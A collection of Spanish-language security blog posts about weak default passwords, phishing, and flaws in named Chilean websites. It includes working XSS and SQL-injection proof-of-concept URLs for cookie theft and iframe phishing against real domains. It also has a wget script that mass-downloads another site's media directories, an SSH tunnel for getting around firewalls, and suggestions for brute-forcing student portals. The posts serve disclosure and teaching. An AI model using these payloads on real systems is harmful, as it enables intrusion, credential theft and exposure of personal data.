Generalmente los criterios para asignar accesos a los distintos sistemas es los mismos, existen las que son aleatorias con y sin patrones, las típicas “dos letras iniciales del apellido seguido del año de nacimiento”, etc. Quizá el problema no está en asignarles claves por defecto fáciles a los usuarios, sino en los mismos usuarios que no las cambian o bien tardan una eternidad en ingresar por primera vez al sistema. Por esto mismo, pienso que la seguridad de los sistemas no debe depende de los usuarios, debe depender del sistema, a menos que tengamos muy acotado el tipo de usuarios que tendrá el sistema.
En este post hablaré sobre los tipicos accesos a universidades, cuentas de correo de empresas, cuentas de servidores ftp, ssh, web, etc.

En primer lugar, pienso que, el hecho de querer facilitarle las cosas al usuario final asignandole una password que sea “recordable”, es riesgoso. El hecho de que una password siga un patrón quiere decir que es altamente descifrable o descubrible por un atacante. Como patrónoes entendemos password como:

• usuarioYYYY: donde YYYY puede ser el año de nacimiento, el año que la persona ingreso a la institución u otra cosa que tenga relación.
• Primeros o últimos 3 o 4 digitos del rut: Por ejemplo si el rut de una persona es 6.714.870-9, la clave podría ser 6714 o bien 8709
• Nombre de usuario: aunque no lo crean, es muy comun tambien que se asigne como contraseña lo mismo que le entregan como nombre de usuario
• Juego con las iniciales de los nombres y/o apellidos y año de nacimiento o año de ingreso: Por ejemplo, para Juan Perez, una posible password sería jperez2009, juanp2009, jp2010, etc.

Quiza lo que acaban de leer pareciera ser algo muy estúpico o algo demasiado básico, pero es increible que suceda. Hace un par de semanas publiqué dos ejemplos muy claros al respecto, lo pueden ver en:

La poca importancia de la seguridad en la Universidad Mayor
Seguridad en accesos de ex alumnos del Instituto Profesional CIISA

El hecho de saber un patrón de asignaciones de contraseñas por defecto de una empresa o alguna institución les abre una puerta trasera enorme y, a mi criterio, es una vulnerabilidad que debe ser considerada critica si se desea proteger el robo de información y la privacidad de la institución y de los mismos usuarios.

La contraseña de un usuario puede comprometer el acceso a otros usuarios, por ejemplo si mi password por defecto corresponde a la primera inicial de mi nombre, seguido de mi apellido, luego un guión bajo (_) y finalmente mi año de nacimiento y es interceptada por algun atacante, sea como sea, independiente de que esa persona haya querido atacarme a mi o independiende de que si yo tengo informacion privada o si me interesa la seguridad o no, estoy dando el paso para que esa pesona pueda adivinar contraseñas de las demas personas.

Un caso muy comun es el hecho que cuando una persona ingresa a trabajar a una empresa generalmente le preparan un computador con todo listo, su cuenta de correo lista, configurada y lista para usarse por lo que el usuario jamás tendrá curiosidad de cambiarla, asi mismo todos o la gran mayoría de la empresa. Una persona sin muchos conocimientos podría probar el mismo patrón de contraseñas para ingresar como su compañero de trabajo, luego que ingresa al correo de esa persona exitosamente, lo gracioso sería intentar ingresar a otras cuentas por ejemplo al sistema de tickets u otros sistemas con el que podríamos hacer más daño. Según mi punto de vista, las contraseñas por defecto deberían ser por defecto aleatorias y obligar a que el usuario se loguee apenas es creada la cuenta y cuando ingrese por primera vez obligarlo a cambiar la contraseña.

Los desarrolladores o administradores pueden quejarse con la típica frase “es que son sistemas que acceder desde la red interna, desde la lan solamente”, pero la verdad es que uno nunca sabe desde que lado esta el atacante.

Aunque no lo crean, muchas veces esas mismas empresas que le asignan esas contraseñas por defecto a sus empleados, lo hacen tambien con sus clientes. Por ejemplo, una empresa de hosting o diseño web, en ambos casos, cuando le quieren dar acceso a ftp o bien acceso a algun sistema para que hagan el “testing”, cumplen el mismo patron, si no es “123456″ es, por lo general, el nombre del cliente. Puedo entender que es engorroso asignar contraseñas tan dificiles de recrodad a los clientes para que hagan simplemente un checkeo de una aplicación, pero aveces la seguridad requiere de un poco de esfuerzo.

Compartir/Guardar

La idea de un sitio con certificado SSL es que toda la información viaje cifrada, pero la gente de E-Sign al parecer no piensan eso. Al menos dos formularios del sitio envían la información sin cifrar, entonces ¿Para qué usan el certificado SSL?

Quizá no es tan crítico, ya que se trata del formulario de contacto y el buscador, pero ya que ellos obligan al usuario a confiar de ellos aun cuando los formularios no se envian de forma segura, nosotros aprovecharemos de generar otro tipo de trafico de manera insegura, por ejemplo insertando un formulario falso o un sitio externo mediante XSS.

¿A qué me refiero con esto? Sencillo, cuando estás navegando en un sitio seguro y en él, existe información que viaja de manera no-segura (sin cifrar), el navegador nos alerta y nos pregunta si queremos continuar.

En cierta forma, E-Sign está obligando al usuario a confiar en ellos y para proceder, el usuario tendrá que poner aceptar. Si ellos lo hacen, ¿por qué nosotros no?

Nos aprovechamos de una vulnerabilidad XSS que presentan algunos links, por ejemplo link de “Contacto”:

https://www.e-sign.cl/contacto.php?prefilla=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

Mediante XSS podriamos perfectamente modificar el formulario, agregar y quitar campos y redireccionar la informción hacia otro sitio o bien colocar un iframe externo que nos permita insertar un formulario arbitrario para capturar información que necesitamos.

Con un poco de ingenieria social y un poco del arte del engaño, seguramente podemos explotar aun mas esta vulnerabilidad. Muchas veces la vulnerabilidad va más alla de si misma, depende mucho del sitio sobre el cual se intenta explotar, en este caso, es mucho mas grave que en el caso del post anterior.

Lo que encuentro más problematico, es que una empresa de seguridad, quienes ofrecen un servicio Anti Phishing, tengan este tipo de vulnerabilidades, le resta demasiada credibilidad a la empresa, lamentablemente las personas que contratan estos servicios generalmente no saben mucho del tema y creen que estaran en buenas manos y muchas veces estan cometiendo un error entregando su seguridad a las personas equivocadas.

Como de costumbre, intenté contactarme con los encargados mediante el formulario de contacto del sitio pero no he obtenido ningun tipo de respuesta.

ACTUALIZACIóN – 3/Mayo/2010: La empresa se ha contactado conmigo via email. Más información acá.

Compartir/Guardar

Lo más comun, y que me da muca risa y aveces rabia, y me desespera un poco, es ver como los usuarios avanzan lentamente, directorio por directorio, hasta llegar a la destino final. Por ejemplo:

$ cd /
$ cd home
$ cd usuario
$ cd public_html
$ cd includes

En lugar de ejecutar directamente
$ cd /home/usuario/public_html/includes

Y peor aun, hay veces que el usuario es inseguro y prefiere verificar si lo hizo bien y termina su caminata por los directorios haciendo un “pwd”:

$ cd /
$ cd home
$ cd usuario
$ cd public_html
$ cd includes
$ pwd
/home/usuario/public_html/includes
$

Hay algo que me desespera aun mas, es cuando el usuario tiene la necesidad de listar el contenido de CADA directorio:

$ cd /
$ ls -l
$ cd home
$ ls -l
$ cd usuario
$ ls -l
$ cd public_html
$ ls -l
$ cd includes
$ pwd
/home/usuario/public_html/includes
$ ls -l

Para los que no saben, para esto existe un truco (tip!), no digo que se aprendan los directorios de memoria, pero pueden ejecutar todo en una sola linea, por ejemplo, cuando escriben / pueden presionar tabular dos veces y automaticamente aparecerá el listado de archivos y directorios dentro de /. Asi mismo, si escriben /home/ y dos veces tabular, veran todo el contenido de /home, sin tener que ejecutar cd /home, presionar enter y luego un ls.

Otra cosa que es muy comun, aunque no lo crean, es encontrar las passwords de las bases de datos, especialmente de MySQL. La gente está acostumbrada a ejecutar el comando mysql para conectarse a la base de datos pasandole como parametro el usuario y la password

$ mysql -uproduccion -p4gSg4ws -hlocalhost mydatabase
mysql>

Tambien usan esta misma tecnica para generar los típicos respaldos usando mysqldump.

$ mysqldump -uproduccion -p4gSg4ws -hlocalhost mydatabase >>mydatabase.sql

Obviamente esto es un problema de seguridad, ya sea porque no se educó bien al usuario o simplemente porque no existen medidas de seguridad dentro del contexto donde se está ejecutando este tipo de comandos.

Tambien es muy usual encontrar a usuarios que intentan pasarle la password de root al comando “su”, ejecutando comandos tipo:

$ su - 354dr2

Pensando que 354dr2 es la password de root, al igual que

$ sudo su - password_del_usuario

Pensando que de esa forma no le pedirá el password. Lo que no sabe el usuario es que todo lo que ejecuta esta siendo logueado y que está comprometiendo la seguridad del servidor.

El .bash_history o historial de comandos bash, muestra mucho como trabajan los usuarios, qué hacen y de qué forma lo hacen, de esta forma es posible obtener información sobre algun sistema o servicio que esté corriendo en el servidor, por ejemplo si entramos a la mala a un servidor y queremos buscar información privada o información que nos interese, podemos ver el historial de los usuarios para saber qué hacen, por donde se mueven y seguir sus pasos.

Un dia me tocó ver que un usuario tenia un script “escondido” que se conectaba vía llave pública a 4 o 5 servidores (incluyendo uno fuera de la red), obviamente, la llave privada estaba en el servidor donde yo estabam por lo que pude acceder a todas sus cuentas en los otros servidores.

Compartir/Guardar

Es muy importante a leer.
Puede ser que Usted haya notado que la semana pasada nuestro sitio www.gruposantander.cl funcionaba inestable y se observaban frecuentes intermitencias.
Hemos renovado nuestras instalaciones bancarias y ahora el problema está resuelto.

Aunque hasta ahora el mensaje podría ser creible, no aparece el nombre del cliente, ésto le resta un punto de credibilidad inmediatamente. Luego viene la parte menos creible:

Pero para una capacidad de trabajo correcta de sus cuentas bancarias, le pedimos a Usted introducir los detalles completos de la cuenta para que pudamos renovar nuestra base de los clientes y comprobar nuestro sistema nuevo de protección de los datos.

Hay que tener en cuenta que una entidad bancaria jamás hará este tipo de peticiones vía email. Como pueden ver en el sitio web de santander:

La siguiente parte del mensaje dice:

Tome este enlace santander.cl para verificar sus datos bancarios.
Esta carta es automaticamente mandada a cada cliente del Banco Santander Central Hispano, no hay necesidad a responder.

Con respeto,
El servicio del mantenimiento técnico del Banco.

Esto es engañoso, ya que envían un texto azúly  subrayado, lo que a primera vista parece ser un link o enlace “normal” hacia “santander.cl”, pero si nos fijamos con más detalles, podemos ver que el link está apuntando a “http://vaisver.com/1000imagenes/“, lo que obviamente no corresponde a un sitio del Santander.

Si vamos al detalle tecnico del mensaje y revisamos los headers, podemos encontrar que el correo fue enviado desde la direcciòn IP 67.255.202.16 correspondiente al host host.eemporio.com, la direccion IP corresponde a Grecia. Al ingresar a http://host.eemporio.com podemos ver la página por defecto de CPanel, por lo que deducimos que se trata de un servidor de hosting que tiene el envio de emails habilitado, y alguna persona, de dentro o desde afuera, se está aprovechando de alguna falla o acceso para usar ese servidor como relay para éste tipo de actos.

Si buscamos en Google, podemos ver muchos resultados que hacen referencia a phishing en este banco: http://www.google.cl/search?q=phishing+banco+santander&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a

Compartir/Guardar

¿Qué se puede hacer cuando nos encontramos con una red insegura abierta?
Facilmente podemos snifear todo el trafico que está pasando por la red capturando información personal y privada, pudiendo hacer lo que queramos con ella. Se puede prestar para realizar phishing, robo de identidad, claves y accesos para sitios bancarios, robo de credenciales para distintos servicios como twitter, gmail, msn, etc.

¿Cómo puedo aprovecharme de esta campaña?
Fácil. Basta con instalar un honeypot en varios puntos de la ciudad para que la gente piense que “alguien, amablemente, libero su wifi”.

Existen otras formas para ayudar a que la gente se comunique, pero esta me parece realmente tonta.

Compartir/Guardar

Alvaro Veliz me ha reportado el siguiente problema básico de seguridad en la plataforma de ingreso de alumnos. Esta plataforma llamada “Portal Estudiantil” dice ser una “Intranet solo disponible para alumnos regulares y egresados“, sin embargo, ellos mismos dan la opción de que no sea así y que cualquier persona pueda ingresar tan solo probando con RUTs al azar.

Podemos ver el mensaje en rojo que dice:

La clave que debes ingresar para acceder al Portal Estudiantil es 123456. Esta contraseña la debes cambiar en la pantalla siguiente tal como se te solicita.
IMPORTANTE: Al momento de cambiarla se te pide ingresar tu clave anterior, ésta es 123456, no lo olvides.

Me pregunto cuanta gente, hasta la fecha de hoy, ha ingresado al portal y ha cambiado su clave? Bastaría con generar un script que pruebe una lista de RUTs probables con una clave 123456 y ganar acceso al sistema, obtener informacion de los alumnos y crear dolores de cabeza a los administradores cambiandole todos los datos al usuario. Con estos hechos queda demostrada la poca o nula preocupación por las Universiades cuando se trata de proteger la información personal y la privacidad de sus alumnos.

Compartir/Guardar

La teoría es sencilla, la idea era encontrar un link directo a los distintos archivos multimedia o bien un enlace a algun directorios que los contenga, para luego descargar todo el contenido del directorio.
El fallo por parte de ellos fue dejar que se liste el contenido de directorios, de esta forma pudimos tener acceso a informacón como la siguiente:

Luego, con un poco de magia, simplemente descargamos el contenido de todo ese directorio.

Todo fue gracias al sitio “Satanick” el cual contiene un flash que provee al usuario poder ver series en línea, afortunadamente lamentablemente si vemos el código fuente nos encontramos con la siguiente sorpresa:

Miren detenidamente el código a ver si encuentran algo que nos ayude a nuestro propósito. Encontramos:

file=http://efectoanime.com/server/dn0te/06.mp4

Con esto ya podemos deducir que todos los videos se encuentran en la URL http://efectoanime.com/server/XXX, donde XXX corresponde al nombre de la serie. Como vimos en la imágen que les mostré anteriormente (donde se listaban los archivos del directorio thundercats/), está permitido listado de archivos de un directorio. Nuestro amigo wget será la salvación, ya que con el parametro -r es posible descargar un directorio.

Bien, ahora nos falta automatizar el proceso. Las URL de Satanick, donde se encuetran los videos, son de la forma http://satanick.com/?page_id=XXX, por lo que podemos asumir que cada ID corresponde a una página y en cada página es posible que encontremos links como el que les acabo de mostrar (el html de más arriba). Entonces mi idea fue crear un script que recorriera todas las páginas desde XXX hasta XXX+n. Pensando que si lo hago desde 0 se iba a demorar una eternidad, solo lo hice desde el 3000 hasta el 10000, luego cada página examinada deberá ser parseada y se debe encontrar un patrón que nos permita obtener la URL donde se encuentran los videos.
Yo lo hice de la siguiente forma:

for x in $(seq 3000 10000); do wget -O - http://satanick.net/?page_id=$x |grep "http://efectoanime.com/server" |awk -F '&' {'print $2'}>> lista_videos_satanick; done

Si lo queremos ver más bonito y en forma de “script”:

#!/bin/bash
for x in $(seq 3000 10000);
do
   wget -O - http://satanick.net/?page_id=$x |grep "http://efectoanime.com/server" |awk -F '&' {'print $2'}>> lista_videos_satanick;
done

El archivo “lista_videos_satanick” va a guardar todas las URL que encuentre y quedarás más o menos así:

file=http://efectoanime.com/server/hades/h29.mp4
file=http://efectoanime.com/server/hades/h29.mp4
file=http://efectoanime.com/server/hades/h30.mp4
file=http://efectoanime.com/server/hades/h30.mp4
file=http://efectoanime.com/server/hades/h31.mp4
file=http://efectoanime.com/server/hades/h31.mp4
file=http://efectoanime.com/server/hades/h31.mp4
file=http://efectoanime.com/server/thundercats/Th71.mp4
file=http://efectoanime.com/server/thundercats/Th71.mp4
file=http://efectoanime.com/server/thundercats/Th71.mp4
file=http://efectoanime.com/server/thundercats/Th72.mp4
file=http://efectoanime.com/server/thundercats/Th72.mp4
file=http://efectoanime.com/server/thundercats/Th72.mp4
file=http://efectoanime.com/server/thundercats/Th73.mp4
file=http://efectoanime.com/server/thundercats/Th73.mp4
file=http://efectoanime.com/server/thundercats/Th73.mp4
file=http://efectoanime.com/server/thundercats/Th74.mp4
file=http://efectoanime.com/server/thundercats/Th74.mp4

Lo único que debemos hacer es quitarle el principio “file=” y quitar las líneas repetidas:
sed -i 's/file=//g' lista_videos_satanick
Nos quedará algo así:

http://efectoanime.com/server/shippuden/Shippuden_144.mp4

http://efectoanime.com/server/bl34ch/B255.mp4

http://efectoanime.com/server/shippuden/Shippuden_145.mp4

http://efectoanime.com/server/md/612.mp4

http://efectoanime.com/server/bl34ch/B256.mp4

http://efectoanime.com/server/shippuden/Shippuden_146.mp4

http://efectoanime.com/server/thundercats/Th90.mp4

http://efectoanime.com/server/thundercats/Th92.mp4

De todas estas URL lo que nos interesa es sólo http://efectoanime.com/server/XXX, entonces lo arreglamos:

awk -F '/' {'print $1"/"$2"/"$3"/"$4"/"$5'} lista_videos_satanick

Quedará algo así:

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/bl34ch

http://efectoanime.com/server/bl34ch

http://efectoanime.com/server/bl34ch

http://efectoanime.com/server/shippuden

http://efectoanime.com/server/shippuden

http://efectoanime.com/server/shippuden

http://efectoanime.com/server/MD

http://efectoanime.com/server/MD

http://efectoanime.com/server/MD

Ahora debemos eliminar las repetidas:

# awk -F '/' {'print $1"/"$2"/"$3"/"$4"/"$5'} lista_videos_satanick |sort|uniq -d

http://efectoanime.com/server/Vshow

Luego un script que descarge todos los contenidos de los directorios:

for link in $(cat lista_videos_satanick); do wget -r $link; done

Y listo.

1.6G Death Note.tar
1.6G Saga de Hades.tar

ACTUALIZADO 16/02/2009

Luego de los comentarios de los responsables de los sitios, dando las gracias y diciendo que no les importa porque de todas formas tiene una marca de agua, etc etc.. Los directorios ya no se pueden listar:

http://efectoanime.com/server/thundercats/

Al fin y al cabo, si les importó el tema. Me alegro que les sirviera el post.

Compartir/Guardar

El port forwarding, según el mismo manual de ssh, corresponde a:

Specifies that the given port on the local (client) host is to be
forwarded to the given host and port on the remote side. This
works by allocating a socket to listen to port on the local side,
optionally bound to the specified bind_address. Whenever a con-
nection is made to this port, the connection is forwarded over
the secure channel, and a connection is made to host port
hostport from the remote machine. Port forwardings can also be
specified in the configuration file. IPv6 addresses can be spec-
ified with an alternative syntax:
[bind_address/]port/host/hostport or by enclosing the address in
square brackets. Only the superuser can forward privileged
ports. By default, the local port is bound in accordance with
the GatewayPorts setting. However, an explicit bind_address may
be used to bind the connection to a specific address. The
bind_address of “localhost” indicates that the listening port
be bound for local use only, while an empty address or ‘*’ indi-
cates that the port should be available from all interfaces.

En simples palabras, lo que se hace, es habilitar un puerto local, por el cual se hara un redireccionamiento, a traves de ssh y el servidor remoto, hacia nuestro destino.

Paso a paso

Mapear la dirección de destino a nuestor localhost, en mi caso (y como ejemplo) usaré smtp.gmail.com. Debemos editar el /etc/hosts y agregar a la línea de 127.0.0.1 nuestro destino:
127.0.0.1 localhost.localdomain localhost smtp.gmail.com
Verificamos:
$ ping -c1 smtp.gmail.com
PING localhost.localdomain (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=1 ttl=64 time=0.038 ms
Ahora, para nuestro sistema, el host smtp.gmail.com está apuntando a nuestra misma máquina.

Ahora, hacemos el port forwading usando el parámetro -L de la siguiente forma:
# ssh -L25:smtp.gmail.com:25 zerial@mydomain.org

Una véz logeados, ya va a estar hecho el redireccionamiento de puerto. Lo que hacemos con esa linea es decirle que todo el trafico desde localhost:25 lo lleve a traves de mydomain.org:22 a nuestro destino smtp.gmail.com:25.

Ahora realizamos la prueba, para ver si realmente tenemos salida a smtp.gmail.com:25:
$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mx.google.com ESMTP 42sm25383892vws.12

Listo. Obviamente, el Firewall no podrá bloquear el tráfico de localhost y tampoco el de ssh, ya que va cifrado.

Compartir/Guardar

Ahora vamos a la práctica, se los enseñaré mediante un ejemplo real buscando un sitio web al azar con la ayuda de Google. Encontramos el sitio “Cibertec.cl” que al parecer cumple todo para poder explotarla.Ç
Si ingresamos al sitio http://www.cibertec.cl y revisamos el tipo de links que contiene, podemos darnos cuenta fácilmente que puede  ser vulnerable a SQLi.

Vamos a comprobarlo cambiando el número 587 por una comilla simple. Entonces ingresamos a http://www.cibertec.cl/detalle.php?item=’ y obtenemos el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1)
Session halted.

Si nos fijamos en la línea donde nos muestra la consulta SQL podemos ver que al final pone “WHERE id = ‘“. Pues esa comilla simple que se ve depsues del signo igual es la comilla que nosotros pusimos en el navegador. De esta misma forma, si agregamos la palabra “prueba” luego de la comilla simple, podemos ver el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘prueba
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”prueba’ at line 1)
Session halted.

Ahi aparece la comilla simple seguida de la palabra prueba, justo lo que nosotros escribimos. Bien, ya manejamos lo que queremos que se muestre, ahora debemos insertar el código malicioso.

Prueba de concepto (PoC)

Vamos a aprovecharnos de ésta vulnerabilidad de SQL Injection para realizar phishing y para intentar robar una credencial mediante XSS.

1. Phishing: Vamos a añadir un iframe con un sitio especialmente preparado para éste fin. Pueden hacer la prueba incrustando el sitio de Google: http://www.cibertec.cl/detalle.php?item=%27%3Ciframe%20src=http://www.google.cl%3E%3C/iframe%3E
   (puede leer más sobre esto en un post que publiqué hace un tiempo)
2. Robo de credenciales: El típico aprovechamiento de Cross-Site Scripting usando javascript para redirigir al usuario a un sitio web cuyos parámetros será una cookie. Por ejemplo: http://www.cibertec.cl/detalle.php?item=%27%3Cscript%3Ealert%28this.cookie%29%3C/script%3E

De esta manera podemos afirmar que el sitio web Cibertec.cl es vulnerable a SQL Injection y Cross-Site Scriting.

Compartir/Guardar

<script>alert(‘this.cookie’)</script>

Cuando los ataques XSS mediante tags no son posibles, existe la posibilidad de realizar el ataque usando las propiedades de cada tag. Puede ser usando el atributo style, src o algúnos gatilladores de eventos como onMouseOver, etc. Para poder realizar el ataque es necesario usar comillas (simples o dobles), aunque tambien en algunos casos existe la posibilidad de no usarlas, para poder agregar una nueva propiedad al tag en el cual hemos conseguido insertar el código.

En los ataques realizados mediante la propiedad style, podemos usar las siguientes funciones o métodos (en este caso, el código se ejecuta automáticamente al cargar la página):

1. Usando expression(), sólo funciona en Internet Explorer anterior a la versión 8.
2. Usando background:url() o background-img:url(), sólo funciona en Internet Explorer.
3. Usando -moz-binding:url(), sólo funciona en Mozila y en otros motores basados en Gecko (antes de Firefox 3).

Pueden ver un ejemplo de un ataque usando -moz-binding:url() y expression() en éste link (está en un idioma que seguramente no entenderemos pero los ejemplos se entienden sin problemas).

Los ataques vía eventos (handlers) son aplicables de la siguiente forma:

1. Eventos como onMouseOver, onFocus, onBlur, onSelect, onChange, onClick, etc.
2. Usando onError, onLoad y onUnload, para ejecutar código automáticamente al cargar o cerrar la página.

La posibilidad de usar onLoad, onUnload y onError no es muy amenudo y los otros eventos no se ejecutan automáticamente, siempre hay que esperar a que algo los gatille. Por ésto mismo, este tipo de ataque XSS no es muy popular, generalmente se ataca incrustando código en las propiedades tales como style, ya que se ejecuta automáticamente.
Cerca del 2008, la posibilidad de realizar un ataque XSS mediante -moz-binding fue removida (o bueno, fue parcialmente removida ya que aún es posible realizar ataques de éste tipo mediante ficheros xml en el mismo sitio). En el lanzamiento de Internet Explorer 8, a comienzos del 2009, se removió el soporte a la función o método expression(). Tambien fue removido el soporte de javascript o vbscript en background-image.
Con los arreglos que se hicieron en los distintos navegadores,  se dificuló el llevar a cabo  ataques Cross-Site Scripting mediante tags. Por otro lado, los navegadores como Opera y Chrome resisten ataques  de éste tipo mediante la propiedad style.
Podemos usar la técnica del MouseOverJacking. Con ésta técnica, se puede automatizar el ataque XSS. Es una solución que funciona en todos los navegadores, incluyendo IE8, eludiendo la protección anti-clickjacking que trae incorporada.
MouseOverJacking se puede usar en lugar de expression() y -moz-binding(). El ataque está automatizado, por lo que el ataque cumpliría el mismo objetivo que expression y -moz-binding y gracias al soporte multi navegador, es posible atacar a más usuarios.
Se puede realizar con MouseOverJacking lo mismo que con ClickJacking, con la diferencia que el MouseOverJacking es más efectivo, ya que no espera ninguna acción del usuario, no es necesario que el usuario haga click para gatillar el ataque. El ClickJacking espera un click por parte del usuario en cambio el MouseOverJacking simplemente espera el movimiento del ratón.

Ejemplos:

Reflected XSS

http://site/script?param=%22%20style=%22width:100%;height:100%;display:block;position:absolute;top:0px;left:0px%22%20onMouseOver=%22alert(document.cookie)%22

Persistent XSS

<a href=”#” style=”width:100%;height:100%;display:block;position:absolute;top:0px;left:0px” onMouseOver=”alert(document.cookie)”>&nbsp;</a>

Este artículo corresponde a una traducción al Español de la traducción al Inglés del original, extraído de WebSecurity.

Compartir/Guardar

Los errores más estúpidos comunes son validaciones mal hechas para ingresar a intranets, ficheros de respaldos visibles publicamente, directorios con información confidencial no protegidos, etc. Yo, como programador, se como funcionan estas cosas, los clientes quieren muchas cosas por muy poco dinero y, por ésto mismo, el programador decide optar por el camino más rápido posible. Por otro lado, sabemos que a los clientes no les importa mucho la seguridad y que cuando le dices que cobrarás un poco más por el hecho de agregarle seguridad al sitio o al sistema, ellos no lo entienden y prefieren el camino más barato. En fín, mientras no se invierta en seguridad, seguirán sucediendo cosas como las que les mostraré a continuación.

El primer caso (gracias a xwall o más conocido como El Arma Secreta, miembro del Hacklab por la información) es el del Instituto Chacabuco (del Colegio Maristas) quienes tienen una intranet donde podemos encontrar los datos de tosos los alumnos y apoderados. Estos datos son nombre, dirección, e-mail, número telefónico, etc.

Estos pantallazos pertenecen al area de administración de estudiantes (una intranet) que en teoría requiere un login, pero se puede bypassear fácilmente.

Este sitio además de poder mirar información, nos permite agregar, eliminar y modificar datos. Estoy seguro de que la misma forma que cometieron éste error, tienen otros más y que al agregar un usuario puedo adjuntar ficheros y lograr subir un archivo que me permita ejecutar código arbitrario en el servidor.

Pronto publicaré otro sitio con información expuesta.

Compartir/Guardar

El IP CIISA es una entidad de educación superior que tiene la misión de formar profesionales y técnicos de nivel superior en las áreas del conocimiento vinculadas a las tecnologías de la información y las redes y comunicación de datos.

Sin embargo, si ingresamos al sitio web y nos vamos a “ExAlumnos” podemos ver como ellos mismos nos indican, publicamente, la clave de acceso para cada usuario.

Dice claramente: “4 primeros dígitos del rut + año de nacimiento“.

Me recuerda mucho a una entrada que vi en SecurityByDefault hace un par de meses atrás, donde ponían un código de seguridad sobre el teclado numérico para escribir el mismo.

Compartir/Guardar

Tanto las empresas como los usuarios (clientes) no tienen las suficientes medidas de seguridad al utilizar uno de éstos servicios, muchas veces los usuarios no denuncian una anomalía, por lo que para las empresas es difícil dar solución a algo de lo que no tienen conocimiento. Por otro lado, las empresas, cuando un usuario les denuncia algun problema, no son capaces de dar solución.

Tarjetas de crédito

El proceso corecto para realizar una compra (tanto por parte del usuario como por parte del vendedor) es entregar al vendedor la tarjeta de crédito y el carnet de identidad, el vendedor imprime desde la maquinita una boleta o ticket, el comprador debe firmar y anotar su número de identidad, luego el vendedor debe verificar la validéz de éstos datos con el carnet de identidad. ¿Qué pasa generalmente? El vendedor entrega el carnet de identidad y la tarjeta de crédito antes de que el comprador firme el ticket, por lo que obviamente, el vendedor jamás podrá comparar si la firma y el número de identidad son correctos. Yo he hecho el ejercicio más de una véz, cuando me entregan el ticket simplemente firmo con un “yeah!” y escribo cualquier número de identidad muy distinto al mio, el vendedor lo único que hace es decir “gracias por la compra, hasta luego“. ¿Qué pasa actualmente? En las últimas 5 compras que he hecho, el vendedor no ha sido capáz de pedirme ni si quiera el carnet de identidad.

Con todo ésto, yo me siento vulnerable, siento que si se me pierden mis documentos o me los roban, podrán realizar compras sin ningún problema y claro, cuando yo vaya a reclamar al banco, ellos no me darán ninguna solución. Está de moda en los bancos ofrecer un “seguro anti fraude” que te “protege” de éste tipo de hechos, pero hay que pagar, es decir, hay que pagar por la seguridad que ellos deben ofrecernos.
Yo me he puesto a pensar en más de una oportunidad que perfectamente podría reclamar que jamás he hecho una compra, ya que no tendrían como comprobar que fui yo quien hizo la compra en ese local, ya que el vendedor jamás verificó si mis datos eran reales.
Actualmente, los bancos están implementando en famoso PinPass que, supuestamente, mejoraría la seguridad y ayudaría al usuario a realizar sus compras de una forma más tranquila. En éstas 5 últimas compras que he hecho, el vendedor me pregunta ¿Tiene su pinpass? y mi respuesta es “no” entonces él me dice “ok, entonces presione enter sin escribir nada“.
Yo intenté denunciar éste hecho con mi ejecutivo de cuentas pero no obtuve respuesta. Les dejo el email que le he enviado:

Hola,

En los ultimos 5 o 6 meses, cada vez que compro con mi tarjeta
mastercard, con o sin cuotas, no me piden ni mi carnet ni tampoco me
hacen firmar la boleta. Esto demuestra que el metodo de compra no tienen
ningun mecanismo de seguridad, mi problema nace cuando pienso que que
pasaria si me roban mis documentos incluyendo mi tarjeta de credito? La
persona podra comprar como si nada.

El dialogo entre yo y el vendedor es:

Vendedor: Como cancela?
Yo: Con mastercard
Vendedor: Ok … Deslicela por ahi
Yo: Ok.
Vendedor: Tiene PinPass?
Yo: No.
Vendedor: Ok, entonces presione ‘enter’.
Yo: Ok.
Vendedor: Muchas gracias por su compra, hasta luego!

Esto me tiene bastante molesto ya que de una u otra forma, me estoy
sintiendo presionado por el banco a contratar el “seguro de fraude” (o
algo asi), siento que si no lo contrato, como no me piden carnet ni
firma al comprar, no tendre derecho a reclamo si algo me llega a suceder.

Me gustaria saber que solucion me pueden dar para esta inquietud.

Saludos.

Intentaré escalar el problema a otra persona, hasta que me den alguna respuesta.

Artículo relacionado.

Cajeros automáticos

Hace unos días leí un artículo que hablaba sobre el Skimmer, se trata de un aparato que se sobrepone a la ranura donde se inserta la tarjeta y el usuario no se da cuenta y apenas inserta la tarjeta ésta es clonada.

Irónicamente, este “dispositivo” mejora la usabilidad del cajero, ya que en algunos casos les agrega una leyenda de ayuda de cómo insetar la tarjeta y tambien una leyenda en braile.

El dispositivo de la imágen fue creado con partes de un reproductor mp3. Algunos Skimmers son altamente sofisticados y son capaces de enviar sms cada véz que se inserta una tarjeta.
El artículo completo fue publicado en meneame y se pueden leer comentarios bastante interesantes al respecto. El artículo original lo puedes encontrar aquí.

Teléfonos públicos

En este punto solo quiero enlazar a un articulo que escribi hace un tiempo, contando una anéctoda cuando me sentí estafado por 3 “actores”: el personal del metro de santiago, telefónica y por una persona que abría los teléfonos y se llevaba el dinero.
El artículo se llama: Robo en los teléfonos públicos de telefónica.

Compartir/Guardar

La empresa afectada es una inmobiliaria y constructora “Yagode”, la vulnerabilidad XSS se encuentra en el script “proyectos.php“, al no parsear la variable tipo. Tiene protección contra XSS, pero no es efectiva. Podemos comprobar ingresando a

http://www.yagode.cl/proyectos.php?Tipo=<script>alert(this)</script>

Obtenemos el mensaje de error 406 “Not Acceptable”,

Not Acceptable

An appropriate representation of the requested resource /proyectos.php could not be found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

